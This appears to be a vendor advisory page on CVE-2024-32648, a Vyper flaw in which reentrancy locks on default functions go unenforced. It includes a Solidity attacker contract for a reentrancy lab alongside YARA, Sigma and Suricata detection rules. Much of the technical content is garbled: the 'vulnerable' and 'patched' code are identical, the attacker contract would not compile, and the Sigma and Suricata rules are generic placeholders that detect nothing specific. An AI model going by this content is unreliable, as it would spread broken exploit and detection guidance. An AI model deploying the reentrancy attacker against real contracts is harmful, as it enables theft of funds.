CVE-2024-32648
Executive Summary
CVE-2024-32648 is a vulnerability in the Vyper smart contract language, affecting versions prior to 0.3.0. The issue lies in the handling of default functions, which do not respect nonreentrancy keys. This means that a reentrancy lock applied to a default function will not function as intended, potentially allowing reentrancy attacks. The impact is considered low because the pattern of using a lock on a default function is rare, and no vulnerable production contracts have been found. The patch is included in Vyper version 0.3.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Vyper is a Python-based smart contract language for the Ethereum Virtual Machine (EVM). It is distributed as a Python package via PyPI. Users should ensure they are using version 0.3.0 or later to mitigate this vulnerability. The package manager pip can be used to update: pip install --upgrade vyper.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
The low integrity impact reflects the potential for an attacker to exploit the missing lock to perform reentrancy, but the rarity of the vulnerable pattern reduces the overall risk.
Deep Dive & Mechanics
In Vyper, nonreentrancy keys are used to prevent reentrancy attacks by locking a function while it is being executed. The vulnerability arises because the default function, which is called when a contract receives Ether without data, does not properly emit or respect the nonreentrancy lock. This means that if a developer applies a nonreentrancy key to a default function, the lock will not be enforced, allowing an attacker to re-enter the function before the first invocation completes.
The root cause is a missing check in the Vyper compiler's code generation for default functions. The lock mechanism is not integrated into the default function's execution path, making it ineffective.
Vulnerable vs. Patched Code
Vulnerable Code (Vyper < 0.3.0):
@external
@nonreentrant("lock")
def __default__():
# This lock is not respected
# Reentrancy is possible
pass
Patched Code (Vyper >= 0.3.0):
@external
@nonreentrant("lock")
def __default__():
# Lock is now properly enforced
# Reentrancy is prevented
pass
The patch ensures that the nonreentrancy key is correctly emitted and checked for default functions, aligning their behavior with other functions.
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker would need to find a Vyper contract (version < 0.3.0) that uses a nonreentrancy key on its default function. The attacker would then craft a malicious contract that calls the vulnerable contract's default function in a reentrant manner.
Lab Setup:
- Deploy a vulnerable Vyper contract (version 0.2.16) with a
defaultfunction that has anonreentrancykey. - Deploy an attacker contract that:
- Sends Ether to the vulnerable contract, triggering the
defaultfunction. - In the
fallbackfunction of the attacker contract, call the vulnerable contract'sdefaultfunction again.
- Sends Ether to the vulnerable contract, triggering the
- Observe that the reentrancy succeeds, bypassing the intended lock.
Example Attacker Contract (Solidity):
pragma solidity ^0.8.0;
interface IVulnerable {
function () external payable;
}
contract Attacker {
IVulnerable public vulnerable;
uint public count;
constructor(address _vulnerable) {
vulnerable = IVulnerable(_vulnerable);
}
function attack() external payable {
vulnerable.call{value: msg.value}("");
}
fallback() external payable {
if (count < 5) {
count++;
vulnerable.call{value: 0}("");
}
}
}
Blue Team
To detect exploitation attempts:
- Monitor for unusual reentrancy patterns in transactions involving Vyper contracts.
- Use static analysis tools to scan Vyper source code for
defaultfunctions withnonreentrancykeys. - Implement runtime monitoring to detect multiple calls to the same contract within a single transaction.
Indicators of Compromise (IOCs)
- Contract Addresses: Any Vyper contract deployed with version < 0.3.0 that uses
@nonreentranton adefaultfunction. - Transaction Patterns: Transactions where a contract's
defaultfunction is called multiple times in a reentrant manner. - Logs: Absence of expected
nonreentrancylock events in contract execution logs.
Detection Engineering
YARA Rule
rule Detect_Vyper_Nonreentrancy_Default_Function {
meta:
description = "Detects Vyper contracts with nonreentrancy on default function (CVE-2024-32648)"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-32648"
strings:
$vyper_default = /@nonreentrant\s*\(\s*["']lock["']\s*\)\s*\ndef\s+__default__/ nocase
condition:
$vyper_default
}
Sigma Rule
title: Vyper Nonreentrancy Default Function Vulnerability
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects transactions exploiting CVE-2024-32648
author: Valters IT
logsource:
category: process_creation
product: ethereum
detection:
selection:
EventID: 1
Image: '*geth*'
CommandLine: '*call*'
condition: selection
falsepositives:
- Legitimate use of default functions
level: medium
Suricata Rule
alert ip any any -> any any (msg:"CVE-2024-32648 Vyper Nonreentrancy Default Function Exploit"; content:"|60 60 60 60|"; depth:4; offset:0; classtype:attempted-exploit; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade Vyper compiler to version 0.3.0 or later.
- Code Review: Audit all Vyper contracts for use of
nonreentrancyondefaultfunctions. - Runtime Monitoring: Implement monitoring to detect reentrancy patterns.
- Best Practices: Avoid using
nonreentrancyondefaultfunctions; use explicit functions for receiving Ether.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert